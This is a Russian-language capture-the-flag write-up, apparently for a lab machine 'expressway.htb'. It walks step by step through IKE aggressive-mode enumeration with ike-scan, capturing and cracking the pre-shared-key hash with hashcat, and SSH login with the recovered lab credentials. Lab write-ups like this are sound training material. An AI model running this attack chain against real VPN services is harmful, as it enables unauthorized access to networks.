> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/ports-and-services/ike-ipsec-500.md).

# IKE/IPsec - 500

Перечисление IKE/IPsec в агрессивном режиме с помощью ike-scan, захват PSK-хэша, взлом hashcat и доступ по SSH.

### Эксплуатация VPN IKE/IPsec

Порт 500 UDP указывает на службу обмена ключами IKE. Попробуйте перехватить предварительно общий ключ (PSK) с помощью агрессивного режима.

#### Определите ID

Используйте `ike-scan` чтобы проверить, включен ли агрессивный режим:

```bash
sudo ike-scan -A 10.129.238.52
```

* Результат: рукопожатие успешно выполнено. Обнаружен ID: `ike@expressway.htb`.

#### Захватите и взломайте хэш PSK

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d4b1d1c4109504d8985634acc7754fc5cfb80ff%2Fimage%20(56).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Извлеките хэш и попытайтесь выполнить атаку перебором с помощью `rockyou.txt` словаря.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Полученные учетные данные: `ike` : `freakingrockstarontheroad`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40bfce5a395e78d2bb9a792917d4f092ddd17529%2Fimage%20(57).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Первоначальный доступ

Подключение по SSH с найденными учетными данными:

```bash
ssh ike@10.129.238.52
```


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